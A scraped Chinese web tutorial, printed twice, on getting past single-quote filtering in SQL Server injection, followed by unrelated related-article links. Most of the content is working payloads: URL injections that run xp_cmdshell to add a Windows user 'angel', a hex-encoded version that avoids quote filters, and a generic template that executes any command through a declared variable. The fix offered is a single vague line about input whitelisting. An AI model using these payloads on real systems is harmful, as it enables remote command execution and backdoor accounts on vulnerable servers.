SQL注入中繞過(guò) 單引號(hào) 限制繼續(xù)注入
更新時(shí)間:2009年06月27日 21:51:48 作者:
我想不少人都看過(guò)一些關(guān)于SQL Injection針對(duì)SQL Server攻擊的文章,都是因?yàn)樽兞窟^(guò)濾不足甚至沒(méi)有過(guò)濾而構(gòu)造畸形SQL語(yǔ)句注入的
包括我寫(xiě)的那篇《SQL Injection的實(shí)現(xiàn)與應(yīng)用》也是這樣的例子,因?yàn)闆](méi)有碰到任何的過(guò)濾,所以使我們相當(dāng)輕松就注入成功了,如下:
http://www.dhdzp.com/show.asp?id=1;exec master.dbo.xp_cmdshell 'net user angel pass /add';--
這往往給大家造成誤解,認(rèn)為只要變量過(guò)濾了'就可以防止SQL Injection攻擊,這種意識(shí)為大量程序可以注入埋下禍根,其實(shí)僅僅過(guò)濾'是不夠的,在'被過(guò)濾的情況下我們照樣玩,看下面語(yǔ)句:
http://www.dhdzp.com/show.asp?id=1;declare%20@a%20sysname%20select%20@a=0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400%20exec%20master.dbo.xp_cmdshell%20@a;--
是不是跟上面的那句有很大區(qū)別?可是效果完全是一樣的。其實(shí)這些都是SQL語(yǔ)句。
0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400
這句是“net user angel pass /add”的16進(jìn)制格式。了解SQL的朋友就容易明白,先聲明一個(gè)變量a,然后把我們的指令賦值給a,然后調(diào)用變量a最終執(zhí)行我們輸入的命令。變量a可以是任何命令。如下:
declare @a sysname
select @a=
exec master.dbo.xp_cmdshell @a
解決辦法:
過(guò)濾變量,限制只允許輸入特定字符。比如對(duì)于數(shù)字類(lèi)型的變量就限制只能輸入數(shù)字類(lèi)型的數(shù)據(jù)。具體就不說(shuō)了。這完全是程序作者自由發(fā)揮了。
復(fù)制代碼 代碼如下:
http://www.dhdzp.com/show.asp?id=1;exec master.dbo.xp_cmdshell 'net user angel pass /add';--
這往往給大家造成誤解,認(rèn)為只要變量過(guò)濾了'就可以防止SQL Injection攻擊,這種意識(shí)為大量程序可以注入埋下禍根,其實(shí)僅僅過(guò)濾'是不夠的,在'被過(guò)濾的情況下我們照樣玩,看下面語(yǔ)句:
復(fù)制代碼 代碼如下:
http://www.dhdzp.com/show.asp?id=1;declare%20@a%20sysname%20select%20@a=0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400%20exec%20master.dbo.xp_cmdshell%20@a;--
是不是跟上面的那句有很大區(qū)別?可是效果完全是一樣的。其實(shí)這些都是SQL語(yǔ)句。
復(fù)制代碼 代碼如下:
0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400
這句是“net user angel pass /add”的16進(jìn)制格式。了解SQL的朋友就容易明白,先聲明一個(gè)變量a,然后把我們的指令賦值給a,然后調(diào)用變量a最終執(zhí)行我們輸入的命令。變量a可以是任何命令。如下:
復(fù)制代碼 代碼如下:
declare @a sysname
select @a=
exec master.dbo.xp_cmdshell @a
解決辦法:
過(guò)濾變量,限制只允許輸入特定字符。比如對(duì)于數(shù)字類(lèi)型的變量就限制只能輸入數(shù)字類(lèi)型的數(shù)據(jù)。具體就不說(shuō)了。這完全是程序作者自由發(fā)揮了。
相關(guān)文章
.net cs后臺(tái)刷新aspx頁(yè)面的四種方式
這篇文章主要介紹了.net cs后臺(tái)刷新aspx頁(yè)面的四種方式,需要的朋友可以參考下2014-03-03
基于.Net的單點(diǎn)登錄(SSO)實(shí)現(xiàn)解決方案
SSO的解決方案很多,但搜索結(jié)果令人大失所望,大部分是相互轉(zhuǎn)載,并且描述的也是走馬觀花,本文對(duì)此進(jìn)行詳細(xì)介紹,需要了解的朋友可以參考下2012-11-11
asp.net使用jquery模板引擎jtemplates呈現(xiàn)表格
這篇文章主要介紹了asp.net使用jquery模板引擎jtemplates呈現(xiàn)表格的示例,大家參考使用吧2014-01-01
詳解ASP.Net Core 中如何借助CSRedis實(shí)現(xiàn)一個(gè)安全高效的分布式鎖
這篇文章主要介紹了ASP.Net Core 中如何借助CSRedis實(shí)現(xiàn)一個(gè)安全高效的分布式鎖,文中通過(guò)示例代碼介紹的非常詳細(xì),對(duì)大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價(jià)值,需要的朋友們下面隨著小編來(lái)一起學(xué)習(xí)學(xué)習(xí)吧2019-04-04
CZGL.ProcessMetrics處理監(jiān)控?cái)?shù)據(jù)的三種方式介紹
這篇文章介紹了CZGL.ProcessMetrics處理監(jiān)控?cái)?shù)據(jù)的三種方式,對(duì)大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價(jià)值,需要的朋友們下面隨著小編來(lái)一起學(xué)習(xí)學(xué)習(xí)吧2022-04-04
詳解ASP.NET Core應(yīng)用中如何記錄和查看日志
本篇文章主要介紹了ASP.NET Core應(yīng)用中如何記錄和查看日志,具有一定的參考價(jià)值,感興趣的小伙伴們可以參考一下。2016-12-12

